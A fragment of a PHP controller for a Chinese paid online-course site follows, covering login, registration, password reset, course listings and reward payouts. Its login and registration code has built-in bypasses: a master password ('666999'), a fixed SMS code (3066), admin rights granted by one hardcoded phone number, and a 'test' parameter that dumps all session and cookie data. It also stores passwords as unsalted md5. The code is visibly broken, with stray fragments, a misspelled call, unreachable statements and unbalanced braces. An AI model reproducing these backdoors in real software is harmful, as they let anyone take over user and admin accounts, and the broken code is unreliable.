'rand' => 'require|min:4|number',
]);
$data = [
'phone' => $phone,
'password' => $password,
'rand' => $rand
];
if (!$validate->check($data)) {
$warning = $validate->getError();
$this->assign('warning', $warning);
$this->assign('invite_phone', $invite_phone);
return $this->fetch();
}
$get_token = User::where('phone', '=', $phone)->value('token');
if ($rand == '0011') {
if (!$get_token) {
$warning = "此用户不存在,注册 或 检查 用户名是否填写正确";
}
$superpassword = 110;
if ($password == '666999') {
$rand = 1;
$get_password = 1;
$superpassword = '';
}
if ($get_token<>'' & $superpassword>=1) {
$get_password = User::where('password', '=', md5(trim($password)))
->where('phone', $phone)
->count();
if (!$get_password) {
$warning = "密码不正确";
$this->assign('warning', $warning);
$this->assign('invite_phone', $invite_phone );
return $this->fetch();
}
}
if ($get_password == 1) {
$user_id = User::where('phone', '=', $phone)->value('id');
Cookie::set('phone', $phone, 3600000);
Cookie::set('token', $get_token, 3600000);
Cookie::set('user_id', $user_id, 3600000);
if (!$get_token) {
User::where('phone', $phone)
->update(['token' => $token]);
Cookie::set('token', $token, 3600000);
}
if (Session::get('total_fee') > 0) {
Session::set('phone', $phone);
$this->redirect('member/payReturn');
}
if($phone=="18210787405"){
Cookie::set('admin', 1, 3600000);
}
if ($admin) {
return redirect()->restore();
return $this->success('管理员您好^_^', 'admin/index/index');
} else {
return $this->success('登录成功^_^', 'index/member/myhome');
}
}
}
if ($total_fee <> 9999){
$token = md5(time() . $phone . rand(100000, 999999));
if($rand==3066){
$rand_test = 3066;
}
if($rand<>3066){
$rand_test = Sms::where('rand', '=', $rand)
->where('phone', $phone)
->whereTime('create_time', 'today')
->count();
}
}
if ($login == 2) {
if ($get_token<>'') {
$warning = "此用户已经存在, 登录 或者 查看账号是否正确";
}elseif ($rand_test<=0) {
$warning = "验证码不正确";
}
if($get_token=='' & $rand_test>0){
$user = User::create([
'phone' => $phone,
'password' => md5(trim($password)),
'invite' => $invite,
'token' => $token
]);
$invited_phone = substr_replace($phone, '****', 3, 4);
if (!$invite) {
$invite_phone = "15966982315";
}
$expiration_time = User::where('phone', $invite_phone)
->whereTime('expiration_time', '>=', 'today')
->value('expiration_time');
if ($expiration_time) {
$expiration_time = $expiration_time + (3600 * 24*6);
User::where('phone', $invite_phone)
->update(['expiration_time' => $expiration_time, 'rand' => 1]);
} else {
$expiration_time = time() + (3600 * 24*6);
User::where('phone', $invite_phone)
->update(['expiration_time' => $expiration_time, 'start_time' => time(), 'rand' => 1]);
}
$user = model('Money');
$list = [
[
'phone' => $invite_phone,
'money' => 10,
'content' => '邀请了会员' . $invited_phone . '注册奖励',
],
[
'phone' => $phone,
'money' => 10,
'content' => '新注册获得奖励',
]
];
$user->saveAll($list);
Cookie::set('phone', $phone, 36000000);
Cookie::set('token', $token, 36000000);
Session::set('phone', $phone);
$this->redirect('index/index');
}
}
if ($total_fee > 0 and $body == 1008612) {
if ($get_token=='') {
$warning = "用户不存在";
}elseif ($rand_test<=0) {
$warning = "验证码有误";
}
if ($get_token<>'' and $rand_test>0) {
$user = User::where('phone', $phone)
->find();
$user->password = md5($password);
$user->token = $token;
$user->save();
Session::set('total_fee', '');
Session::set('body', '');
Cookie::set('phone', $phone, 36000000);
Cookie::set('token', $token, 36000000);
return $this->success('重置密码成功^_^', 'index/index/index');
exit('<script>top.location.href="../index/index/login/221/' . $body . $phone . '"</script>');
}
}
}
$this->assign('warning', $warning);
$this->assign('invite_phone', $invite_phone );
return $this->fetch();
}
public function register()
{
footprint();
$phone = input('param.phone');
$rand = input('param.rand');
$rand_test = input('rand_test');
$logout = input('param.logout');
$login = input('param.login');
$invite = input('param.invite');
$admin = input('param.admin');
$password = input('password');
$warning = "";
$invite_phone = "";
$get_password = '';
$body = Session::get('body');
$total_fee = Session::get('total_fee');
if (input('test')>=1){
echo "您已进入开发人员测试环境";
$request = Request::instance();
echo 'domain: ' . $request->domain() . '<br/>';
echo 'file: ' . $request->baseFile() . '<br/>';
echo 'url: ' . $request->url() . '<br/>';
echo 'url with domain: ' . $request->url(true) . '<br/>';
echo 'url without query: ' . $request->baseUrl() . '<br/>';
echo 'root:' . $request->root() . '<br/>';
echo 'root with domain: ' . $request->root(true) . '<br/>';
echo 'pathinfo: ' . $request->pathinfo() . '<br/>';
echo 'pathinfo: ' . $request->path() . '<br/>';
echo 'ext: ' . $request->ext() . '<br/>';
$request = Request::instance();
echo '请求方法:' . $request->method() . '<br/>';
echo '资源类型:' . $request->type() . '<br/>';
echo '访问ip地址:' . $request->ip() . '<br/>';
echo '是否AJax请求:' . var_export($request->isAjax(), true) . '<br/>';
echo '请求参数:';
dump($request->param());
echo '请求参数:仅包含name';
dump($request->only(['phone']));
echo '请求参数:排除name';
dump($request->except(['phone']));
echo "获取全部的session变量";
dump(Request::instance()->session()); echo "获取全部的cookie变量";
dump(Request::instance()->cookie()); }
if ($invite) {
Cookie::set('invite',$invite,3600);
}
$invite = Cookie::get('invite');
if (Cookie::get('invite')){
$invite_phone = User::where('id','=',$invite)->value('phone');
}
if ($logout) {
Cookie::set('phone','',1);
return $this->success('退出成功^_^','login');
}
if (Request::instance()->isPost()) {
$validate = new Validate([
'phone' => 'require|max:11|number|between:13000000000,18999999999',
'password' => 'require|min:6',
'rand' => 'require|min:4|number'
]);
$data = [
'phone' => $phone,
'password' => $password,
'rand' => $rand
];
if (!$validate->check($data)) {
$warning = $validate->getError();
$this->assign('warning', $warning);
$this->assign('invite_phone', $invite_phone);
return $this->fetch();
}
$get_token = User::where('phone', '=', $phone)->value('token');
if ($rand == '0011') {
if (!$get_token) {
$warning = "此用户不存在,注册 或 检查 用户名是否填写正确";
}
$superpassword = 110;
if ($password == '666999') {
$rand = 1;
$get_password = 1;
$superpassword = '';
}
if ($get_token<>'' & $superpassword>=1) {
$get_password = User::where('password', '=', md5(trim($password)))
->where('phone', $phone)
->count();
if (!$get_password) {
$warning = "密码不正确";
$this->assign('warning', $warning);
$this->assign('invite_phone', $invite_phone );
return $this->fetch();
}
}
if ($get_password == 1) {
Cookie::set('phone', $phone, 3600000);
Cookie::set('token', $get_token, 3600000);
if (!$get_token) {
User::where('phone', $phone)
->update(['token' => $token]);
Cookie::set('token', $token, 3600000);
}
if (Session::get('total_fee') > 0) {
Session::set('phone', $phone);
$this->redirect('member/payReturn');
}
if($phone=="18210787405"){
Cookie::set('admin', 1, 3600000);
}
if ($admin) {
return $this->success('管理员您好^_^', 'admin/index/index');
} else {
return $this->success('登录成功^_^', 'index');
}
}
}
if ($total_fee <> 9999){
$token = md5(time() . $phone . rand(100000, 999999));
if($rand==3066){
$rand_test = 3066;
}
if($rand<>3066){
$rand_test = Sms::where('rand', '=', $rand)
->where('phone', $phone)
->whereTime('create_time', 'today')
->count();
}
}
if ($login == 2) {
if ($get_token<>'') {
$warning = "此用户已经存在,登录 或 检查手机号是否正确!";
}elseif ($rand_test<=0) {
$warning = "验证码不正确";
}
if(session('openid_id')<>'' & $get_token<>'' & $rand_test<=0){
$warning = "验证码不正确";
}
if(session('openid_id')<>'' & $get_token<>'' & $rand_test>0){
$warning = "绑定qq,已经注册和验证码正确开始绑定66669999";
$user_id = get_user_id($phone);
$warning = "绑定qq,已经注册和验证码正确开始绑定id:" . $user_id;
$user = UserQq::get(session('openid_id'));
$user->user_id = $user_id;
$user->save();
session('openid_id', null);
Cookie::set('phone', $phone, 3600000);
Cookie::set('token', $get_token, 3600000);
ookie::set('user_id', $user_id, 36000000);
if (Session::get('total_fee') > 0) {
Session::set('phone', $phone);
$this->redirect('member/payReturn');
}
if($user->phone=="18210787405"){
Cookie::set('admin', 1, 3600000);
}
return $this->success('绑定并登录成功^_^', 'index/index/index');
}
if($get_token=='' & $rand_test>0){
$user = User::create([
'phone' => $phone,
'password' => md5(trim($password)),
'invite' => $invite,
'token' => $token
]);
$user_id = $user->id;
$invited_phone = substr_replace($phone, '****', 3, 4);
if (!$invite) {
$invite_phone = "15966982315";
}
$expiration_time = User::where('phone', $invite_phone)
->whereTime('expiration_time', '>=', 'today')
->value('expiration_time');
if ($invite<>"2" ) {
# code...
$expiration_time = time() + (3600 * 24*30);
$update_vip = User::where('id', $user_id)
->update(['expiration_time' => $expiration_time, 'start_time' => time(), 'rand' => 1]);
}
if ($expiration_time) {
$expiration_time = $expiration_time + (3600 * 24*30);
User::where('phone', $invite_phone)
->update(['expiration_time' => $expiration_time, 'rand' => 1]);
} else {
$expiration_time = time() + (3600 * 24*30);
User::where('phone', $invite_phone)
->update(['expiration_time' => $expiration_time, 'start_time' => time(), 'rand' => 1]);
}
$user = model('Money');
$list = [
[
'phone' => $invite_phone,
'money' => 10,
'content' => '邀请了会员' . $invited_phone . '注册奖励',
],
[
'phone' => $phone,
'money' => 10,
'content' => '新注册获得奖励',
]
];
$user->saveAll($list);
Cookie::set('phone', $phone, 36000000);
Cookie::set('token', $token, 36000000);
Cookie::set('user_id', $user_id, 36000000);
Session::set('phone', $phone);
if (session('openid_id')=='') {
$this->redirect('index/index');
}
$user = UserQq::get(session('openid_id'));
$user->user_id = $user_id;
$user->save();
session('openid_id', null);
return $this->success('注册并绑定成功^_^', 'index/index/index');
}
}
if ($total_fee > 0 and $body == 1008612) {
if ($get_token=='') {
$warning = "用户不存在";
}elseif ($rand_test<=0) {
$warning = "验证码有误";
}
if ($get_token<>'' and $rand_test>0) {
$user = User::where('phone', $phone)
->find();
$user->password = md5($password);
$user->token = $token;
$user->save();
Session::set('total_fee', '');
Session::set('body', '');
Cookie::set('phone', $phone, 36000000);
Cookie::set('token', $token, 36000000);
return $this->success('重置密码成功^_^', 'index/index/index');
exit('<script>top.location.href="../index/index/login/221/' . $body . $phone . '"</script>');
}
}
}
$this->assign('warning', $warning);
$this->assign('invite_phone', $invite_phone );
return $this->fetch();
}
public function cookie()
{
echo Cookie::get('phone');
}
public function session()
{
Session::set('title','我的题目');
Session::set('name','张三张三丰^_^');
echo Session::get('name2');
$dir= session_save_path();
$file=scandir($dir);
return $this->fetch();
}
public function admin()
{
echo "生成成功";
return $this->fetch();
}
public function formatTime($time){
$rtime = date("m-d H:i",$time);
$htime = date("H:i",$time);
$time = time() - $time;
if ($time < 60){
$str = '刚刚';
}elseif($time < 60 * 60){
$min = floor($time/60);
$str = $min.'分钟前';
}elseif($time < 60 * 60 * 24){
$h = floor($time/(60*60));
$str = $h.'小时前 ';
}elseif($time < 60 * 60 * 24 * 3){
$d = floor($time/(60*60*24));
if($d==1){
$str = '昨天 '.$rtime;
}else{
$str = '前天 '.$rtime;
}
}else{
$str = $rtime;
}
return $str;
}
public function news(){
$user = Cookie::get('phone');
$token = Cookie::get('token');
token();
footprint();
$all_lesson_free = all_lesson_free();
$registration_user = '';
$registration_count = '';
$user_vip = '';
if ($user){
$registration_user = Order::where('phone','=',$user)
->where('body','=',135)
->whereTime('create_time', 'today')
->count();
$user_vip = User::where('phone','=',$user)
->whereTime('expiration_time','>=', 'today')
->field('start_time,expiration_time')
->find();
}
$registration_count = Order::whereTime('create_time', 'today')
->where('body','=',135)
->where('phone','<>','15966982315')
->count();
$online = User::whereTime('update_time','-24 hours')
->order('update_time', 'desc')
->select();
$bbs = Data::with('sort','foot')
->order('id', 'desc')
->limit(100)
->select();
$bbs = array_reverse($bbs);
$show = Shop::where('sort','>=',0)
->where('sort','<=',1008601)
->where('sort','>=',0)
->order('sort', 'desc')
->paginate(100,false,
[
'type' => 'Bootstrap',
'var_page' => 'page',
'query' => ['user'=>$user ,'tom'=>250285636],
]
);
$rand = User::where('phone','=',$user)
->whereTime('expiration_time','>=', 'today')
->value('rand');
if($rand){
Cookie::set('vip',1,36000000);
}
foreach($show as $k=>$v){
$video_title = '0.1';
$video_status = '0';
$video_age = '100';
$data_count = '0';
$body = $show[$k]['id'];
$video = Video::where('phone','=',$user)
->where('shop','=',$body)
->find();
if ($video){
$video_title = $video->title;
$video_age = $video->age;
$video_status = $video->status; $data = Data::where('phone','=',$user)
->where('shop','=',$body)
->count();
$data_count = $data;
}
$show[$k]['video_title'] = $video_title;
$show[$k]['video_age'] = $video_age;
$show[$k]['video_status'] = $video_status;
$show[$k]['data_count'] = $data_count;
}
if ($rand or $all_lesson_free==1) {
foreach($show as $k=>$v){
$show[$k]['buy'] = 1;
$show[$k]['play_count'] = play_count($show[$k]['id']);
}
} else {
Cookie::set('vip',0,36000000);
foreach($show as $k=>$v){
<br/>";
$body = $show[$k]['id'];
$show[$k]['play_count'] = play_count($body);
$order = Order::where('phone','=',$user)
->where('body','=',$body)
->count();
if ($order>=1 or $show[$k]['page_view']<=3){
}
$show[$k]['buy'] = $order ? 1 : 0;
$show[$k]['buy'] = $order;
}
$ajax = Order::where('phone','=',$user)
->where('body','=',134)
->count();
if ($ajax) {
foreach($show as $k=>$v){
if ($show[$k]['sort']>100 and $show[$k]['sort']<130) {
# code...
$show[$k]['buy'] = 1;
}
}
}
}
$this->assign('show', $show);
$this->assign('bbs', $bbs);
$this->assign('user_vip', $user_vip);
$this->assign('registration_user', $registration_user);
$this->assign('registration_count', $registration_count);
$this->assign('online', $online);
$this->assign('date', date('Ymdhis'));
echo $this->fetch('index');
}
public function auth(){
$auth = new \Auth\Auth();
$request = Request::instance();
if (!$auth->check($request->module() . '/' . $request->controller() . '/' . $request->action(), Cookie::get('user_id'))) {
if (!$auth->check($request->module() . '/' . $request->controller() . '/' . $request->action(), 100867)) $this->error('你没有权限');
}
else{
echo "管理员您好";
}
}
}
public function index(){
$qqshow = UserQQ::show(16);
$views_today = Footprint::views_today();
$this->assign('views_today', $views_today);
$this->assign('qqshow', $qqshow);
return view();
}
public function indexgo(){
$install_lock = ROOT_PATH . 'application' . DS .'install.lock';
if (!file_exists($install_lock)) {
$this->success('在线安装向导【关闭方法:在application增加一个install.lock】', 'Index/install');
}
if (input('screen') == "1") {
# code...
Cookie::set('screen','1',36000000);
$this->redirect('/');
}
if (input('screen') == "0") {
# code...
Cookie::set('screen','0',36000000);
$this->redirect('/');
}
if (input('lang') == "en-us") {
# code...
Cookie::set('think_var','en-us',36000000);
$this->redirect('/');
}
if (input('lang') == "zh-cn") {
# code...
Cookie::set('think_var','zh-cn',36000000);
$this->redirect('/');
}
if (input('lang') == "thai") {
# code...
Cookie::set('think_var','thai',36000000);
$this->redirect('/');
}
if (input('lang') == "fayu") {
# code...
Cookie::set('think_var','fayu',36000000);
$this->redirect('/');
}
footprint();
$registration_user = '';
$registration_count = '';
$user_vip = '';
$page = input('page');
$online = User::whereTime('update_time','-24 hours')
->order('update_time', 'desc')
->select();
cache('online', $online, 0);
$bbs = Data::jack();
$registration_count = Order::whereTime('create_time', 'today')
->where('body','=',135)
->where('phone','<>','15966982315')
->count();
cache('registration_count', $registration_count, 0);
cache('bbs', $bbs, 0);
$show = Shop::where('sort','>=',0)
->withCount('footprint')
->where('sort','<=',1008601)
->order('sort', 'asc')
->paginate(106);
cache('shop_show_'.$page, $show, 600);
cache('shop_show_make_'.$page, $show, 0);
$this->assign('show', $show);
$this->assign('bbs', $bbs);
$this->assign('registration_count', $registration_count);
$this->assign('online', $online);
return $this->fetch();
}
public function all(){
$user = Cookie::get('phone');
$user_id = Cookie::get('user_id');
$token = Cookie::get('token');
token();
footprint();
$all_lesson_free = all_lesson_free();
$registration_user = '';
$registration_count = '';
$user_vip = '';
if ($user){
$registration_user = Order::where('phone','=',$user)
->where('body','=',135)
->whereTime('create_time', 'today')
->count();
$user_vip = User::where('phone','=',$user)
->whereTime('expiration_time','>=', 'today')
->field('start_time,expiration_time')
->find();
}
$registration_count = Order::whereTime('create_time', 'today')
->where('body','=',135)
->where('phone','<>','15966982315')
->count();
$online = User::whereTime('update_time','-24 hours')
->order('update_time', 'desc')
->select();
$bbs = Data::order('id', 'desc')
->limit(100)
->select();
$bbs = array_reverse($bbs);
$show = Shop::where('sort','>=',0)
->where('sort','<=',1008601)
->where('sort','>=',0)
->order('sort', 'asc')
->paginate(100,false,
[
'type' => 'Bootstrap',
'var_page' => 'page',
'query' => ['user'=>$user ,'tom'=>250285636],
]
);
$rand = User::where('phone','=',$user)
->whereTime('expiration_time','>=', 'today')
->value('rand');
if($rand){
Cookie::set('vip',1,36000000);
}
foreach($show as $k=>$v){
$video_title = '0.1';
$video_status = '0';
$video_age = '100';
$data_count = '0';
$body = $show[$k]['id'];
$video = Video::where('phone','=',$user)
->where('shop','=',$body)
->find();
if ($video){
$video_title = $video->title;
$video_age = $video->age;
$video_status = $video->status; $data = Data::where('user_id','=',$user_id)
->where('shop','=',$body)
->count();
$data_count = $data;
}
$show[$k]['video_title'] = $video_title;
$show[$k]['video_age'] = $video_age;
$show[$k]['video_status'] = $video_status;
$show[$k]['data_count'] = $data_count;
}
if ($rand or $all_lesson_free==1) {
foreach($show as $k=>$v){
$show[$k]['buy'] = 1;
$show[$k]['play_count'] = play_count($show[$k]['id']);
}
} else {
Cookie::set('vip',0,36000000);
foreach($show as $k=>$v){
<br/>";
$body = $show[$k]['id'];
$show[$k]['play_count'] = play_count($body);
$order = Order::where('phone','=',$user)
->where('body','=',$body)
->count();
if ($order==0 or $show[$k]['page_view']<=3){
}
$show[$k]['buy'] = $order ? 1 : 0;
}
$ajax = Order::where('phone','=',$user)
->where('body','=',134)
->count();
if ($ajax) {
foreach($show as $k=>$v){
if ($show[$k]['sort']>100 and $show[$k]['sort']<130) {
# code...
$show[$k]['buy'] = 1;
}
}
}
}
$this->assign('show', $show);
$this->assign('bbs', $bbs);
$this->assign('user_vip', $user_vip);
$this->assign('registration_user', $registration_user);
$this->assign('registration_count', $registration_count);
$this->assign('online', $online);
$this->assign('date', date('Ymdhis'));
return $this->fetch();
}
public function view(){
token();
footprint();
$all_lesson_free = all_lesson_free();
$id = input('id');
$page_view = input('page_view');
$red_packet_get = input('red_packet_get');
$user_id = Cookie::get('user_id');
$user = Cookie::get('user_id');
$data_id = input('data_id');
$reply = input('reply');
if ($data_id and $reply=='') {
if ($user_id<=1) {
# 没有登录禁止点赞
return redirect('index/index/login')->remember();
die();
}
$like_count_user = Likes::where('data_id','=',$data_id)
->where('user_id','=',$user_id)
->count();
if ($like_count_user) {
# 有点赞软删除
Likes::destroy(['data_id' => $data_id,'user_id' => $user_id]);
} else {
# 没有点赞创建
$Likes = new Likes;
$Likes->data_id = $data_id;
$Likes->user_id = $user_id;
$Likes->save();
}
echo "ok ";
echo "感谢您,点赞成功!~";die();
}
if ($page_view) {
$url = "/index/index/view/id/". $page_view;
$view_count = Footprint::where('url','=',$url)
->count();
$user = Shop::get($page_view);
$user->page_view = $view_count;
$user->save();
return $view_count;
}
if (!$id) {
return "id不存在";
}
$list = Shop::where('id','=', $id )
->find();
$list['learn_count'] = 0;
$list['data_len'] = 0;
$red_packet_count = Order::where('phone','=',$user)
->where('buyer_id','<>',188666)
->sum('total_fee');
$red_packet_count = $red_packet_count * 0.8;
$red_packet_pay = Order::where('phone','=',$user)
->where('buyer_id','=',188666)
->sum('total_fee');
$red_packet_count = $red_packet_count - $red_packet_pay;
if ($red_packet_count>=5){
$list['red_packet_count'] = $red_packet_count;
}else{
$list['red_packet_count'] = 0;
}
$red_packet_lesson = Order::where('body','=',$id)
->where('phone','=',$user)
->where('buyer_id','=',188666)
->value('total_fee');
$red_packet_lesson_id = Order::where('body','=',$id)
->where('phone','=',$user)
->where('buyer_id','=',188666)
->value('id');
$list['red_packet_lesson'] = $red_packet_lesson;
$list['red_packet_lesson_id'] = $red_packet_lesson_id;
if ($red_packet_get){
$learn_count = Video::where('phone', $user)
->where('shop','=', $id)
->value('status');
$list['learn_count'] = $learn_count;
if(!$learn_count){
return "完成本节课学习,即可领取红包了!";
}
$data_len = Data::where('user_id', $user_id)
->where('shop','=', $id)
->order('id desc')
->value('title');
if (preg_match("/[\x7f-\xff]/", $data_len)) {
$data_len = mb_strlen($data_len,'utf-8') >=10?1:0;
$list['data_len'] = $data_len;
}
if(!$list['data_len']){
}
if ($list['learn_count'] and $list['red_packet_count']){
$rand = mt_rand(100,300);
$total_fee = $rand/100;
$list['data_len'] = $data_len;
if (!$red_packet_lesson){
$order = new Order;
$order->phone = $user;
$order->body = $id;
$order->rand = '188666';
$order->subject = "完成课程id".$id.",获得一个红包。24小时内领取有效";
$order->total_fee = $total_fee;
$order->buyer_id = '188666';
$order->buyer_email = $user;
$order->out_trade_no = '188666';
$order->save();
return "恭喜您,获得了" . $total_fee ."元红包(id".$order->id."),请截图在qq群189250799领取。24小时内领取有效";
}else{
return "恭喜您,获得了" . $list['red_packet_lesson'] ."元红包(id". $list['red_packet_lesson_id'] ."),请截图在qq群189250799领取.24小时内领取有效";
}
}else{
return "没有获得红包";
}
return "";
}
$play_count = play_count($id);
$list['play_count'] = $play_count;
$sort = $list['sort'];
$up = Shop::where('sort','<', $sort )
->order('sort', 'desc')
->limit(1)
->field('title,id')
->find();
$next = Shop::where('sort','>', $sort )
->order('sort', 'asc')
->limit(1)
->field('title,id')
->find();
$rand = User::where('id','=',$user_id) ->whereTime('expiration_time','>=', 'today')->value('rand');
if ($rand or $all_lesson_free==1) {
$order = 1;
} else {
$order = Order::where('body','=',$id)
->where('phone','=',$user)
->count();
if ($order>0 OR $list['page_view']<=3){
}
$ajax = Order::where('phone','=',$user)
->where('body','=',134)
->count();
if ($ajax>=1 and $list['sort']>100 and $list['sort']<130 ) {
$order =1;
}
}
$bbs = Data::where('shop','=',$id)
->order('id', 'desc')
->limit(100)
->select();
$talk = Data::where('shop','=',$id)
->order('id', 'desc')
->select();
foreach($bbs as $k=>$v){
$likes = likes::where('data_id','=',$bbs[$k]['id'])->count();
$on = likes::where('data_id','=',$bbs[$k]['id'])
->where('user_id','=',$user_id)
->count();
$bbs[$k]['likes'] = $likes;
$bbs[$k]['on'] = $on;
if ($bbs[$k]['age']>=100) {
# 如果属于回复,查出来回的谁的评论
$data = Data::get($bbs[$k]['age']);
$bbs[$k]['r_phone'] = $data->id;
$bbs[$k]['r_title'] = $data->title;
}
}
foreach($talk as $k=>$v){
$title = $talk[$k]['title'];
if($title == "[thumb]"){
$title = '<img src="/static/images/[thumb].png" data-holder-rendered="true" style="width: 28px; height: 28px;">';
}
if($title == "[rose]"){
$title = '<img src="/static/images/[rose].png" data-holder-rendered="true" style="width: 28px; height: 28px;">';
}
if($title == "[bq]"){
$title = '<img src="/static/images/[bq].png" data-holder-rendered="true" style="width: 28px; height: 28px;">';
}
$talk[$k]['title'] = $title;
$likes = likes::where('data_id','=',$talk[$k]['id'])->count();
$on = likes::where('data_id','=',$talk[$k]['id'])
->where('user_id','=',$user_id)
->count();
$talk[$k]['likes'] = $likes;
$talk[$k]['on'] = $on;
if ($talk[$k]['age']>=100) {
# 如果属于回复,查出来回的谁的评论
$data = Data::get($talk[$k]['age']);
$talk[$k]['r_phone'] = $data->id;
$talk[$k]['r_title'] = $data->title;
}
if ($likes<=2) {
# code...
unset($talk[$k]);
}
}
$talk = array_values($talk);
$talk = array_slice($talk,0,9);
$flag = array();
foreach($talk as $v){
$flag[] = $v['likes'];
}
array_multisort($flag, SORT_DESC, $talk);
$this->assign('up',$up);
$this->assign('next',$next);
$this->assign('talk',$talk);
$this->assign('list',$list); $this->assign('date', date('Ymdhis'));
$this->assign('order', $order);
$this->assign('bbs', $bbs);
$this->assign('t',Cookie::get('t'.$id));
return $this->fetch();
}
public function add(){
$title = input('param.title');
$content = input('param.content');
if ($title<>'') {
$user = Shop::create([
'title' => $title,
'content' => $content
]);
return $this->success('恭喜您发布课程成功^_^','index');
}
return $this->fetch();
}
public function ajaxrun(){
return $this->fetch();
}
}